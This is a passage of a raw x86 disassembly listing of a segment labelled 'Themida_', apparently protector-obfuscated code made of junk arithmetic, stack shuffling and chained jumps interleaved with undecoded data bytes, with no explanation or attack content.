		jmp	loc_599466
; ---------------------------------------------------------------------------


loc_59B4A5:				; CODE XREF: Themida_:005A2F45j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		push	6BE9h
		jmp	loc_59C850
; ---------------------------------------------------------------------------


loc_59B4BA:				; CODE XREF: Themida_:0059D468j
		pop	ecx
		sub	eax, 77DF121Fh
		add	eax, ebx
		add	eax, 77DF121Fh
		pop	ebx
		push	67E7h
		mov	[esp], ebx
		mov	ebx, 787F2F84h
		push	ecx
		mov	ecx, 0B0B2966h
		shl	ecx, 3
		push	1DC1h
		jmp	loc_5AE25C
; ---------------------------------------------------------------------------
aZSz		db '‡<$ιZΎ',0
		align 10h


loc_59B4F0:				; CODE XREF: Themida_:005A93D6j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	1543h
		jmp	loc_59DD80
; ---------------------------------------------------------------------------


loc_59B501:				; CODE XREF: Themida_:005A6408j
		pop	ebx
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_5A2D4D
; ---------------------------------------------------------------------------


loc_59B51D:				; CODE XREF: Themida_:005ABB38j
		push	ebx
		mov	ebx, 5A8353BCh
		dec	ebx
		add	ebx, 3083608Bh
		shr	ebx, 5
		add	ebx, 3972199Ch
		or	ecx, ebx
		jmp	loc_5A98D2
; ---------------------------------------------------------------------------


loc_59B53A:				; CODE XREF: Themida_:0059EFE3j
					; Themida_:005A367Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A4237
; ---------------------------------------------------------------------------


loc_59B546:				; CODE XREF: Themida_:005A245Bj
		pop	ecx
		add	ecx, edx
		pop	edx
		jmp	loc_5A91B3
; ---------------------------------------------------------------------------


loc_59B54F:				; CODE XREF: Themida_:005AAE1Fj
		push	esi
		mov	esi, 4
		add	dword ptr [esp+4], 0DED5C93h
		sub	dword ptr [esp+4], 75E55E73h
		add	[esp+4], esi
		add	dword ptr [esp+4], 75E55E73h
		sub	dword ptr [esp+4], 0DED5C93h
		pop	esi
		pop	ebx
		push	eax
		mov	eax, 144D4587h
		and	eax, 7B812548h
		or	eax, 55C061F5h
		inc	eax
		sub	eax, 55C165F2h
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_5AE4B2
; ---------------------------------------------------------------------------
		dd 25C2EE81h, 0EE0169FCh, 25C2C681h, 0E95D69FCh, 8A1h
; ---------------------------------------------------------------------------


loc_59B5BC:				; CODE XREF: Themida_:005A72B6j
		shl	ecx, 3
		jmp	loc_5A6A18
; ---------------------------------------------------------------------------
		dd 1504D000h, 0DE9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59B5CD:				; CODE XREF: Themida_:005AC31Aj
		sub	eax, ebx
		pop	ebx
		sub	ecx, 9470C21h
		add	ecx, eax
		jmp	loc_5A0BC5
; ---------------------------------------------------------------------------


loc_59B5DD:				; CODE XREF: Themida_:005AB96Cj
		jmp	loc_59ABC4
; ---------------------------------------------------------------------------


loc_59B5E2:				; CODE XREF: Themida_:0059937Ej
		push	ebp
		mov	ebp, 3DC45B0Dh
		jmp	loc_59D921
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0E7C10000h, 81D7F704h, 1C7h,	915E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B606:				; CODE XREF: Themida_:005AE45Bj
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A1C57
; ---------------------------------------------------------------------------


loc_59B615:				; CODE XREF: Themida_:0059E856j
		shr	ebx, 8
		or	ebx, 6A7828A1h
		jb	loc_5A9B55
		xor	ebx, 4B3342CFh
		add	ebx, edx
		pop	edx
		add	ebx, 78E12E85h
		jnb	loc_5A809C
		add	ebx, 4E48687Eh
		jp	loc_5A58CF


loc_59B645:				; CODE XREF: Themida_:005A32F0j
		mov	[esp], ecx
		jmp	loc_5A8679
; ---------------------------------------------------------------------------


loc_59B64D:				; CODE XREF: Themida_:0059A146j
		push	19E3h
		jmp	loc_5A73F7
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0E20h
; ---------------------------------------------------------------------------


loc_59B65C:				; CODE XREF: Themida_:005AA5F6j
		and	eax, 10391EF8h
		jmp	loc_5AC31F
; ---------------------------------------------------------------------------


loc_59B666:				; CODE XREF: Themida_:005A0964j
					; Themida_:005A9631j
		xor	ecx, 0F48B0711h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, 4
		sub	eax, 5EA87241h
		add	eax, 30725391h
		add	eax, esi
		sub	eax, 30725391h
		add	eax, 5EA87241h
		jmp	loc_5A38E7
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C481h, 48F0000h, 24248B24h,	4EF168h, 24048900h, 9BD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B6B5:				; CODE XREF: Themida_:005A403Dj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 2EEA032Fh
		jmp	loc_5AE971
; ---------------------------------------------------------------------------


loc_59B6C9:				; CODE XREF: Themida_:0059CB07j
		mov	edi, [esp]
		add	esp, 4
		push	525Bh
		mov	[esp], ebx
		mov	ebx, 7C8818A3h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	5A8h
		jmp	loc_5990DA
; ---------------------------------------------------------------------------


loc_59B6F5:				; CODE XREF: Themida_:loc_598E5Cj
					; Themida_:0059A049j
		add	edx, ebp
		sub	edx, 7C6612CAh
		mov	ebp, [esp]
		jmp	loc_5A488B
; ---------------------------------------------------------------------------


loc_59B705:				; CODE XREF: Themida_:005A172Cj
		shl	eax, 2
		jnp	loc_5A6975
		neg	eax
		jmp	loc_59D11B
; ---------------------------------------------------------------------------
		db 1, 0FBh, 55h
; ---------------------------------------------------------------------------


loc_59B718:				; CODE XREF: Themida_:005990E5j
		add	esp, 4
		inc	ebp
		jmp	loc_59B826
; ---------------------------------------------------------------------------


loc_59B724:				; CODE XREF: Themida_:005A343Cj
		add	di, 1
		push	5C28h
		mov	[esp], ecx
		mov	cx, 3E03h
		xor	cx, 0E7Eh
		shl	cx, 3
		and	cx, 41B7h
		dec	cx
		add	cx, 1ABh
		add	di, cx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5ADDA1
; ---------------------------------------------------------------------------


loc_59B757:				; CODE XREF: Themida_:00598FC8j
		add	esp, 4
		jmp	loc_5A683D
; ---------------------------------------------------------------------------


loc_59B762:				; CODE XREF: Themida_:005A8B59j
		add	dword ptr [esp+4], 40FC14DFh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 11DE6264h
		jmp	loc_599170
; ---------------------------------------------------------------------------


loc_59B780:				; CODE XREF: Themida_:0059E647j
		add	esi, ecx
		pop	ecx
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2C376618h
		jmp	loc_59F8E3
; ---------------------------------------------------------------------------


loc_59B7BB:				; CODE XREF: Themida_:0059F51Cj
					; Themida_:005A57C0j
		push	ecx
		pop	edx
		pop	ecx
		jmp	loc_5AA9E5
; ---------------------------------------------------------------------------
		db 80h
		dd 0ACE9D6C7h
		db 19h,	1, 0
; ---------------------------------------------------------------------------


loc_59B7CB:				; CODE XREF: Themida_:005AEF4Cj
		xor	ebx, eax
		jmp	loc_59900B
; ---------------------------------------------------------------------------


loc_59B7D2:				; CODE XREF: Themida_:0059C606j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59D44D
; ---------------------------------------------------------------------------


loc_59B7DC:				; CODE XREF: Themida_:005A20F5j
		pop	dword ptr [esp]
		jmp	loc_5A37AC
; ---------------------------------------------------------------------------


loc_59B7E4:				; CODE XREF: Themida_:005AEA50j
		mov	ecx, [esp]
		push	esi
		push	esp
		jmp	loc_5A650C
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 852CC32Ch, 0E3E9092Ch
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59B7FB:				; CODE XREF: Themida_:005A1935j
					; Themida_:005A7D66j
		not	ebp
		inc	ebp
		add	ebp, 76F2595Ch
		add	ebp, 88B2005h
		add	edx, ebp
		jmp	loc_5ADC8A
; ---------------------------------------------------------------------------


loc_59B811:				; CODE XREF: Themida_:005A41EBj
		neg	esi
		jle	loc_5A9355
		add	esi, 0DF8AB5EDh
		jmp	loc_5A27A7
; ---------------------------------------------------------------------------
		db 29h,	0FEh
; ---------------------------------------------------------------------------


loc_59B826:				; CODE XREF: Themida_:0059B71Fj
		sub	ebp, 601F84B5h
		mov	esi, ebp
		pop	ebp
		add	ecx, esi
		jmp	loc_5AE56A
; ---------------------------------------------------------------------------


loc_59B836:				; CODE XREF: Themida_:0059D610j
		pop	esp
		push	small 1675h
		mov	[esp], cx
		sub	esp, 2
		jmp	loc_5A24EF
; ---------------------------------------------------------------------------
		db 66h
		dd 0E902E1C1h, 12D53h
; ---------------------------------------------------------------------------


loc_59B850:				; CODE XREF: Themida_:005ADD0Cj
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_5A39DD
; ---------------------------------------------------------------------------


loc_59B85E:				; CODE XREF: Themida_:005A2C05j
		xor	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_5AB518
; ---------------------------------------------------------------------------


loc_59B877:				; CODE XREF: Themida_:0059ABE5j
		sub	eax, 6E65035Eh
		add	eax, ebp
		add	eax, 6E65035Eh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59D11B
; ---------------------------------------------------------------------------


loc_59B88F:				; CODE XREF: Themida_:005AF016j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5ACC99
; ---------------------------------------------------------------------------
aRsN		db ']Rι<N',0
		dw 8100h
		dd 0D236EFEDh, 81FD011Eh, 0D236EFC5h, 2B09E91Eh, 55560000h
		dd 4F5EB0BDh, 0FFC5834Ah, 7D1E951h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59B8CA:				; CODE XREF: Themida_:005A4EFEj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_5A593A
		push	ebp
		jmp	loc_5A0D7F
; ---------------------------------------------------------------------------


loc_59B8E4:				; CODE XREF: Themida_:005A4519j
		sub	dh, 17h
		add	dh, al
		add	dh, 17h
		pop	eax
		sub	esp, 4
		jmp	loc_5A6392
; ---------------------------------------------------------------------------


loc_59B8F5:				; CODE XREF: Themida_:005AD92Dj
		jmp	loc_5AB5C6
; ---------------------------------------------------------------------------


loc_59B8FA:				; CODE XREF: Themida_:0059C613j
		mov	[esp], ecx
		push	edi
		jmp	loc_5AB614
; ---------------------------------------------------------------------------


loc_59B903:				; CODE XREF: Themida_:005AA8C5j
		push	4A62h
		mov	[esp], eax
		mov	eax, 1E662D07h
		shl	eax, 1
		jns	loc_5A3F60
		jmp	loc_598510
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 9Bh
		dd 89FFFFE5h
		db 0D2h, 58h
; ---------------------------------------------------------------------------


loc_59B926:				; CODE XREF: Themida_:0059B193j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_59F4E4
; ---------------------------------------------------------------------------


loc_59B93A:				; CODE XREF: Themida_:0059B2DBj
		pop	ecx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59D615
; ---------------------------------------------------------------------------


loc_59B95D:				; CODE XREF: Themida_:005A2807j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A3F53
; ---------------------------------------------------------------------------


loc_59B972:				; CODE XREF: Themida_:005A9CCBj
		shl	eax, 2
		sub	eax, 8F1FFD7Ch
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A4223
; ---------------------------------------------------------------------------


loc_59B988:				; CODE XREF: Themida_:0059C77Ej
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	55B5h
		mov	[esp], edi
		push	esp
		jmp	loc_5A54B9
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0B487AA8h
		inc	edx
		and	edx, 5AAC3C52h
		jmp	loc_5A4F98
; ---------------------------------------------------------------------------


loc_59B9CD:				; CODE XREF: Themida_:005ABFE0j
		mov	[esp], ebx
		mov	ebx, 56BA5D5Ch
		xor	edx, ebx
		pop	ebx
		jmp	loc_59CC4E
; ---------------------------------------------------------------------------


loc_59B9DD:				; CODE XREF: Themida_:005A0B43j
		pop	esi
		mov	ebx, [esp]
		jmp	loc_59C60B
; ---------------------------------------------------------------------------
		dw 6BBEh
		dd 135EA01h, 0EC815EF0h, 4, 81241489h, 4ECh, 242C8900h
		dd 1F6BE9h, 44BB5300h, 0E979F81Fh, 0FD2h
; ---------------------------------------------------------------------------


loc_59BA10:				; CODE XREF: Themida_:005A73A0j
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5AC106
; ---------------------------------------------------------------------------
		db 58h
		dd 81E9FD01h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BA27:				; CODE XREF: Themida_:0059B397j
		push	edx
		jmp	loc_5A538C
; ---------------------------------------------------------------------------


loc_59BA2D:				; CODE XREF: Themida_:005A9520j
		jmp	loc_59BE6A
; ---------------------------------------------------------------------------


loc_59BA32:				; CODE XREF: Themida_:0059EE34j
		add	esi, 32D12A09h
		add	esi, 70DF078Ch
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59E7EF
; ---------------------------------------------------------------------------
		dd 213FF181h, 0CE296CA9h, 2AC68159h, 686F4F4Fh,	11E1h
		dd 0BD242C89h, 1CF23BE8h, 2C8BEE01h, 2B9BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BA76:				; CODE XREF: Themida_:loc_5AE370j
		sub	bh, 3Ch
		push	ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		jmp	loc_5A6595
; ---------------------------------------------------------------------------
		dd 7A5320BAh, 5AD7890Ch, 8904EC83h, 3DBD242Ch, 0E97D4FD2h
		dd 0C805h
; ---------------------------------------------------------------------------


loc_59BA9C:				; CODE XREF: Themida_:005AE96Cj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5AB6B3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4EC81h, 34890000h, 0C8BD5524h, 0E94ABB52h, 4EEEh, 8904EC83h
		dd 46E9243Ch
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59BAD7:				; CODE XREF: Themida_:0059A6E9j
					; Themida_:loc_5A3E4Cj	...
		mov	esp, [esp]
		push	14A4h
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_599776
; ---------------------------------------------------------------------------
		db 2Dh,	5Bh, 0E6h
		dd 0C5898F87h, 0E9505358h, 0BCF0h
; ---------------------------------------------------------------------------


loc_59BB08:				; CODE XREF: Themida_:0059DD48j
		push	dword ptr [esp]
		jmp	loc_59A437
; ---------------------------------------------------------------------------
aBNA4Sq		db ',$N',7,'=A)4$ιqœ',0
		db 0
; ---------------------------------------------------------------------------


loc_59BB1F:				; CODE XREF: Themida_:005AC112j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AABF3
; ---------------------------------------------------------------------------


loc_59BB42:				; CODE XREF: Themida_:005A7101j
		and	edx, 213370EAh
		jnp	loc_5AC327
		xor	edx, 50F478D0h
		jge	loc_5A4E69
		jmp	loc_599954
; ---------------------------------------------------------------------------
		db 56h
		dd 0DFF38052h
		db 52h
; ---------------------------------------------------------------------------


loc_59BB65:				; CODE XREF: Themida_:005AEACBj
		pop	ebp
		sub	ebp, 600424D3h
		jmp	loc_5AAD22
; ---------------------------------------------------------------------------


loc_59BB71:				; CODE XREF: Themida_:005A9D3Fj
		add	esp, 4
		or	ebp, 5D9E50C8h
		jmp	loc_59DFBB
; ---------------------------------------------------------------------------


loc_59BB7F:				; CODE XREF: Themida_:loc_5AA2FDj
		shl	edi, 5
		jns	loc_59F050
		add	edi, 78A76C24h
		push	edi
		pop	ebp
		pop	edi
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		jmp	loc_5A5D48
; ---------------------------------------------------------------------------


loc_59BB9C:				; CODE XREF: Themida_:005A0C18j
		xchg	ebx, [esp]
		jmp	loc_59995F
; ---------------------------------------------------------------------------


loc_59BBA4:				; CODE XREF: Themida_:005A152Fj
		xor	al, 89h
		jnp	loc_59876E
		push	5DB3h
		mov	[esp], edx
		mov	dh, 0CEh


loc_59BBB6:				; CODE XREF: Themida_:0059A432j
		xchg	ebp, esi
		jmp	loc_59DA50
; ---------------------------------------------------------------------------


loc_59BBBD:				; CODE XREF: Themida_:0059A030j
		pop	eax
		jmp	loc_59A3CB
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 0DCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_59BBCD:				; CODE XREF: Themida_:005A778Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59BBD2:				; CODE XREF: Themida_:00599C27j
		add	ebx, 2
		jmp	loc_5AA8FF
; ---------------------------------------------------------------------------


loc_59BBDD:				; CODE XREF: Themida_:005A3319j
		sub	ebp, edx
		pop	edx
		jmp	loc_5A8BDF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 46811CD3h
		xor	ebp, 710E305Ah
		or	ebp, 688C789Dh
		jmp	loc_5A0FB8
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0C69BE685h, 895DEB29h, 814E5BDEh, 433E7EF6h,	8F05E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BC2A:				; CODE XREF: Themida_:0059A8A7j
		pop	esi
		jmp	loc_5AAF88
; ---------------------------------------------------------------------------


loc_59BC30:				; CODE XREF: Themida_:00598B3Dj
		pop	eax
		xor	edx, [esp]
		jmp	loc_5A5277
; ---------------------------------------------------------------------------
aYsB		db 'Yι',9,'b',0
		db 0
; ---------------------------------------------------------------------------


loc_59BC3F:				; CODE XREF: Themida_:005A1E43j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5A3A73
; ---------------------------------------------------------------------------


loc_59BC4B:				; CODE XREF: Themida_:005AEDA4j
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A00BA
; ---------------------------------------------------------------------------


loc_59BC53:				; CODE XREF: Themida_:0059EDCEj
		xor	bl, 19h
		jmp	loc_5A2B5A
; ---------------------------------------------------------------------------


loc_59BC5B:				; CODE XREF: Themida_:005A568Dj
		sub	ebx, ecx
		push	eax
		mov	eax, 2A7E6F90h
		jmp	loc_5A14C1
; ---------------------------------------------------------------------------


loc_59BC68:				; CODE XREF: Themida_:0059C466j
		sub	ecx, edx
		pop	edx
		add	ebx, ecx
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_5AC816
; ---------------------------------------------------------------------------


loc_59BC78:				; CODE XREF: Themida_:005A8553j
		mov	cx, [esp]
		jmp	loc_5A66FD
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 241C895Ch, 4EC81h, 8F540000h, 4812404h, 424h, 2434FF00h
		dd 4C4815Bh, 0E9000000h, 12124h
; ---------------------------------------------------------------------------


loc_59BCA8:				; CODE XREF: Themida_:005AA7F4j
		pop	ebp
		add	esi, 1
		add	esi, 0FC85533Dh
		or	ebx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_599A70
; ---------------------------------------------------------------------------


loc_59BCBD:				; CODE XREF: Themida_:005A99EAj
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 10EE1A8Eh
		jmp	loc_5A57D0
; ---------------------------------------------------------------------------


loc_59BCCE:				; CODE XREF: Themida_:005ADF14j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	eax
		jmp	loc_5AAA9F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 68000000h, 0F65h, 0FF243489h, 0FF042474h, 0A0E92434h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BCFB:				; CODE XREF: Themida_:005ACFF8j
		mov	[esp], ebx
		jmp	loc_5A5E76
; ---------------------------------------------------------------------------


loc_59BD03:				; CODE XREF: Themida_:005AB2C2j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	ebp, 5D683B67h
		add	ebp, esi
		sub	ebp, 5D683B67h
		pop	esi
		jmp	loc_5ACE70
; ---------------------------------------------------------------------------


loc_59BD1C:				; CODE XREF: Themida_:005AA448j
		mov	ebp, 40A11D27h
		add	ebp, 4A444ECFh
		dec	ebp
		add	ebp, 29984DCEh
		sub	esi, 1A85B64h
		jmp	loc_5A6AAC
; ---------------------------------------------------------------------------
		db 29h,	0E9h, 81h
		dd 723ED9E9h, 34FF5D7Ah, 0C4835D24h, 2C18104h, 87000000h
		dd 248B240Ch, 0BB0F6624h, 0E99C2404h, 0FFFFC62Ch, 53090459h
		dd 8851FAB7h, 88FE88F1h, 68E959CFh
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BD73:				; CODE XREF: Themida_:00598BF1j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A7171
; ---------------------------------------------------------------------------


loc_59BD83:				; CODE XREF: Themida_:0059D3F0j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5A4BF8
		push	1BF0h
		mov	[esp], esi
		push	74B67E40h
		jmp	loc_5AA195
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95A2434h, 0FFFFFC08h, 83242489h, 8F042404h, 38E92404h
		db 6, 1, 0
; ---------------------------------------------------------------------------


loc_59BDB7:				; CODE XREF: Themida_:005A2DA3j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, 41D81718h
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		inc	edi
		add	edi, 4A35448Ch
		sub	edi, 1
		not	edi
		push	3155h
		mov	[esp], ecx
		mov	ecx, 0C02BE50Bh
		xor	edi, ecx
		jmp	loc_5A0D64
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2E6C100h, 647EE9h, 0FFC28300h,	0A64AF281h, 0EE81BDF0h
		dd 390D4B80h, 0E957D601h, 6CEDh
; ---------------------------------------------------------------------------


loc_59BE24:				; CODE XREF: Themida_:loc_5AD718j
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_5AC945
; ---------------------------------------------------------------------------


loc_59BE30:				; CODE XREF: Themida_:005AC9BFj
		shl	eax, 3
		jmp	loc_5A6D1E
; ---------------------------------------------------------------------------


loc_59BE38:				; CODE XREF: Themida_:0059EC2Dj
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, 6EBD30B8h
		mov	edi, esi
		pop	esi
		add	edi, 25CB6153h
		jmp	loc_5AC0C9
; ---------------------------------------------------------------------------


loc_59BE4F:				; CODE XREF: Themida_:loc_5A252Aj
		xor	edx, 5DF51856h
		shr	edx, 5
		jmp	loc_5A399C
; ---------------------------------------------------------------------------
		db 68h,	8Bh, 6Dh
		dd 1C890000h, 2525E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BE6A:				; CODE XREF: Themida_:loc_59BA2Dj
		neg	ecx
		add	ecx, 0F4B82E1Bh
		push	ecx
		pop	eax
		jmp	loc_5A2931
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 80h
		dd 2974A143h, 80E981F9h, 0E974A143h, 0CAFFh
; ---------------------------------------------------------------------------


loc_59BE8C:				; CODE XREF: Themida_:005991E8j
		xor	esi, 7BA57C72h
		jmp	loc_5A6D0C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E1E906E7h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BE9F:				; CODE XREF: Themida_:005A661Ej
		mov	ch, al
		jmp	loc_5A02FC
; ---------------------------------------------------------------------------


loc_59BEA6:				; CODE XREF: Themida_:005A13D7j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	1BC704C2h
		jmp	loc_59D15C
; ---------------------------------------------------------------------------


loc_59BEB9:				; CODE XREF: Themida_:005A8A8Bj
		and	ebx, 40E45242h
		xor	ebx, 22DB01FEh
		add	edx, ebx
		jmp	loc_5A3D56
; ---------------------------------------------------------------------------
		dd 24B7D2Dh, 41BD553Ch,	177BA6Fh, 0F9C2E9E8h, 0CE2CFFFFh
		dd 10CC68h, 241C8900h, 0C381E389h, 4, 2EB81h, 1C870000h
		dd 89665C24h, 53662414h, 0C38052B3h, 0B0EB80D8h, 119E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BF0D:				; CODE XREF: Themida_:005A88F7j
		add	ebx, 70FFFAEDh
		mov	eax, ebx
		pop	ebx
		jmp	loc_59E694
; ---------------------------------------------------------------------------
		db 50h
		dd 0AD59F1B8h, 1BC72D47h, 36E9550Ah
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59BF2B:				; CODE XREF: Themida_:005A23A9j
		inc	ebp
		push	edx
		jmp	loc_5AC1B1
; ---------------------------------------------------------------------------


loc_59BF32:				; CODE XREF: Themida_:00598D13j
		push	eax
		jmp	loc_5A3835
; ---------------------------------------------------------------------------
		dd 4055854h, 51000000h,	252668h, 24148900h, 0EE0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_59BF4D:				; CODE XREF: Themida_:005A7ADAj
		mov	[esp], ebx
		push	ebp
		mov	ebp, 3A88432Eh
		not	ebp
		xor	ebp, 44B011B5h
		xor	ebp, 0F83F8E86h
		jmp	loc_5A439C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 63F26824h, 92E90000h
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BF77:				; CODE XREF: Themida_:005A43FCj
		pop	edx
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A726A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FEA68h, 0DD4DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BF96:				; CODE XREF: Themida_:005AA56Fj
		sub	esi, 506E9C70h
		xor	edx, esi
		jmp	loc_5ACC6F
; ---------------------------------------------------------------------------


loc_59BFA3:				; CODE XREF: Themida_:005AE71Cj
		sub	ebx, 30101C64h
		jmp	loc_5ACCB9
; ---------------------------------------------------------------------------


loc_59BFAE:				; CODE XREF: Themida_:0059845Dj
		sub	esp, 4
		jmp	loc_5A9AE3
; ---------------------------------------------------------------------------


loc_59BFB6:				; CODE XREF: Themida_:0059992Fj
		and	ebx, 53D7629h
		xor	ebx, 63F22948h
		ja	loc_5A1EFF
		add	ebx, 504C0EB8h
		mov	bh, dh
		sub	al, 1Bh


loc_59BFD2:				; CODE XREF: Themida_:005A34ABj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5A8C3F
; ---------------------------------------------------------------------------


loc_59BFDC:				; CODE XREF: Themida_:005A8207j
		pop	ebx
		jmp	loc_5AA0DC
; ---------------------------------------------------------------------------


loc_59BFE2:				; CODE XREF: Themida_:005A9C13j
		and	edx, 2EA45897h
		jb	loc_5A6AE4
		shr	edx, 8
		jp	loc_5A0391
		push	ecx
		mov	ecx, 66F601Ah
		inc	ecx
		not	ecx
		sub	ecx, 0E8BA274Eh
		xor	edx, ecx
		pop	ecx
		dec	edx
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		jmp	loc_5A4C1C
; ---------------------------------------------------------------------------


loc_59C017:				; CODE XREF: Themida_:005A1A7Dj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5A455E
